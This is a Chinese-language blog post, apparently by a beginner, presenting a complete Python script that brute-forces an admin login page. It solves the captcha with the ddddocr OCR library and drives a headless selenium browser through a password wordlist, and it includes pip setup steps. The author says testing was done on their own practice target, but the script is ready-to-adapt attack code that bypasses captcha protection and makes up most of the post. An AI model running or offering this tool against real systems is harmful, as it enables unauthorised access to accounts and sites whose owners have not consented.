最近正在学习python,本菜狗突发奇想用python写一个实现识别验证码的爆破小脚本
说干就干,于是上网查找了一下python中有没有验证码识别的库
然后就发现了ddddocr
这个库,于是想通过ddddocr
库和selenium
库配合使用
首先通过pip
安装ddddocr
因为pip
是去国外下载,所以下载库的时候特别慢,经常超时报错
这里我们可以用清华的镜像源进行下载
此配置为以后每次pip安装时都用清华的镜像
pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple
然后正常安装即可,selenium
也是同理
pip install ddddocr
安装完后,正常导入库即可使用
这里通过ddddocr
识别后输出的验证码字符串会有作者配置时的信息,可进入库进行修改,不得不说这些大神是真的厉害
然后就是代码如下:
ps:代码中的url以及driver的定位,很多XPATH语法都需要自行修改,代码中有宝宝级的注释
import ddddocr#导入ddddocr库,通过词库来实现验证码的识别
from selenium import webdriver#导入selenium库,来模拟浏览器访问
from selenium.webdriver.common.by import By
#此处设置为无头浏览器模式
options=webdriver.ChromeOptions()
options.add_argument("--headless")
options.add_argument("--disable-gpu")
#创建webdriver对象
driver=webdriver.Chrome(chrome_options=options)
#此函数用于截取验证码、识别验证码、填写登录框参数、发送登陆请求、返回成功或失败的标识
def Dl(pwd):
# 获取验证码截图,这里需要通过find_element来定位验证码的位置,截图后存放到本地
driver.get('http://xxx/admin/login.php')
ele = driver.find_element(By.XPATH, '//*[@id="main"]/form/label[4]/img')
ele.screenshot('./image.png')
# 验证码识别,将上面存放后的验证码图片进行识别转换为字符串
ocr = ddddocr.DdddOcr()
with open('image.png', 'rb') as f:
img_bytes = f.read()
res = ocr.classification(img_bytes)
#通过driver定位表单,写入数据,然后点击登陆
driver.find_element(By.NAME, 'name').send_keys('admin')
driver.find_element(By.NAME, 'pw').send_keys(pwd)
driver.find_element(By.NAME, 'vcode').send_keys(res)
driver.find_element(By.NAME, 'submit').click()
#此处为点击登陆成功或失败的提示页面,这里需根据具体情况做设定,也有可能不加
driver.find_element(By.XPATH,'/html/body/div/a').click()
#进行判断操作,在登陆成功或失败后跳转的页面进行搜索,如果还有登陆框的标签,就证明回到了登陆页面,密码错误
try:
driver.find_element(By.XPATH,'//*[@id="main"]/form/label[1]/input')
print("密码错误:"+pwd)
#返回一个空
return None
#如果在登陆成功或失败后跳转的页面没有搜索到登陆框的标签,就证明跳转到了管理员页面,登陆成功密码正确
except:
print("---密码正确:"+pwd)
#返回一个数值做表示
return 1
#此函数来获取字典中的密码,反复遍历,每次遍历都会调用Dl函数来进行登陆操作
def putPass():
#打开密码文件
passfile = open('pass.txt', mode='r')
#循环遍历
for pwd in passfile:
#去掉换行符
pwd = pwd.strip('\n')
#将当前遍历的密码传参给Dl函数,Dl函数再去截取图片并解析获取验证码,向登陆框填入用户名、密码、识别的验证码做登陆操作
#并将Dl函数返回的结果赋值给变量
pd=Dl(pwd)
#进行判断,如果变量的值为1,就证明登陆成功,然后结束for循环,如果不为1,则证明密码错误继续循环
if pd==1:
break
putPass()
这里是根据我自己的靶机进行的测试,测试结果如下: